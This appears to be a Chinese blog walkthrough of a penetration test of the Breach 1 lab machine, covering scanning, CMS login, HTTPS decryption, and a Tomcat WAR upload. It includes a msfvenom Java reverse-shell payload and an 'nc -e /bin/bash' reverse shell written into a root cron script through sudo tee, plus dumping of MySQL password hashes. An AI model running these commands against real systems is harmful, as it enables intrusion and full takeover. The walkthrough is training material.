一次breach1靶机的渗透测试

1.端口扫描和信息收集

2.CMS后台信息收集

3.解密HTTPS流量

4.tomcat的后台利用

5.提权

1.端口扫描和信息收集:

首先进行主机发现,找到目标机器:

nmap -sP 192.168.110.1/24

 

找到目标机器,进行端口扫描:

nmap -T4 -A -v 192.168.110.140

一共扫到996个开放的端口,正好里面有一个HTTP服务,我们在网页打开看一下:

打开源码发现一个加密的东西,应该是MD5,

解密得到:pgibbons:damnitfeel$goodtobeagang$ta

这看起来像是一个账号和密码

我们继续找一些有用的信息,又发现了一个CMS的管理后台

我们对最初的目录进行目录扫描,看有没有什么遗漏的东西:

dirb http://192.168.110.140

打开看一下:

继续扫一下CMS:

whatweb -v http://192.168.110.140/impresscms/

爆出了一些信息,到这里我们发现了部署的操作系统,但没有发现具体版本,我们可以打开msf去漏洞库看一下有没有相应的漏洞,

searchsploit impresscms

可以将后面的脚本依次利用,但没什么用

2.CMS后台信息收集

 这个后台需要登录,我们之前获得了一个可疑的登录密码,我们试一下

果然,登录成功

随便翻一下,看有没有什么有用的信息

发现一个网址,粘贴到浏览器,下载一个keystore

又发现一个网址,点击,下载一个流量包,并且上面说账号和密码都是tomcat

我们打开流量包看一下:

发现里面有HTTPS,被加密看不了,结合之前我们获得的keystore 应该是获取加密的秘钥

3.解密HTTPS流量

因为我们有一个秘钥,我们查看一下

keytool -list -keystore keystore  密码是:tomcat  (我们之前得到的)

我们生成密钥库,导出证书:

keytool -importkeystore -srckeystore D:\123\keystore -destkeystore D:\123\tomcat.p12 -deststoretype pkcs12 -srcalias tomcat

密码都是tomcat

得到了一个秘钥,我们将秘钥导入到流量包里面解密HTTPS流量

我们解密以后打开一个HTTPS的流量查看一下,正好获得了一个网址:打开

https://192.168.110.140:8443/_M@nag3Me/html

显示我们不能打开页面,因为这是一个HTTPS的页面,需要我们进行抓包操作

我们点击接收风险并且放包

我们得到了一个basic的登录页面,我们继续在流量包里面找看有没有账号密码

我们过滤一下HTTP的流量

ip.src == 192.168.110.140 || ip.dst ==192.168.110.140 and http

tomcat:Tt\5D8F(#!*u=G)4m7zB

登录试一下

成功,并且我们发现这里有一个上传点,要是war包


4.tomcat后台利用

 我们用msfvenom生成一个java的反弹连接war包,

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war

将其移动到物理机上,我们先开启一个msf监听再上传:

开启监听: use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.110.128

set LPORT 4444

exploit

我们上传,记住这里点击上传的时候抓包,因为浏览器会进行其他的请求操作,我们要把它过滤了,单独把木马上传上去,然后迅速的点击上传的kali 抓包放包

回显:

反弹成功

5.提权

 我们获得交互式的shell(输入有典型的回显)

 python -c 'import pty;pty. spawn("/bin/bash")'

在当前目录,我们可以进行查找:

1.搜索漏洞

2.find;ls -a

3.history

4.sudo -l    (查看可以用root执行什么权限)

5.查看操作系统版本:uname -a

6.查看password:cat /etc/passwd

看到了操作系统的版本,我们进行查找漏洞:

searchsploit 14.04 Ubuntu

没有对应的版本,我们查看一下

cat /etc/passwd

里面有一个MySQL数据库,我们可以看一下网站部署的路径,查看里面的内容,可能会有数据库连接的账号和密码

cd /var/www

打开看一下:

发现连接数据库的账号为root,密码为空,名字为impresscms

我们连接数据库:

mysql -uroot -p

查看一下数据库:

show tables;

链接上MySQL库:use mysql;

查看表:show tables;

查看:desc user

查询用户名和密码:select user,password from user; 密码可能是MD5

解出密码以后:这个密码可能是数据库的密码,也能是操作系统的登录密码

发现密码,MD5解密:thelaststraw

我们登录milton这个用户,

我们查看历史记录,发现一个用户,我们从这个入手,因为这个用户有sudo的权限

我们找密码,经过一番长时间查找,离谱的是这个密码藏在了网页的图片里面,

我们将图片下载:

wget http://192.168.110.140/images/bill.png

wget http://192.168.110.140/images/cake.jpg

wget http://192.168.110.140/images/initech.jpg

wget http://192.168.110.140/images/milton_beach.jpg

wget http://192.168.110.140/images/swingline.jpg

wget http://192.168.110.140/images/troll.gif

依次查看图片里面的内容:

strings bill.png

最后在一张图片里面发现了密码:coffeestains

我们进行登录

开始查找有用的信息

我们发现一个脚本,打开发现:

这是一个每隔三分钟清理一次其他用户部署的应用删除,那么我们可以利用这个加入一个反弹连接任务

我们查看一下可以用root权限执行的任务:

发现一个执行tee ,和修改脚本不需要密码

这里面有一个tee ,它的作用是把 tee file1 file2 ,可以把file1数据覆盖到file2中去

写一个反弹连接:

echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt

用tee 覆盖:

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看一下是否成功:

cat /usr/share/cleanup/tidyup.sh

要先建立监听:

nc -lvvp 5555

最多三分钟反弹

反弹成功:

  • 38
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值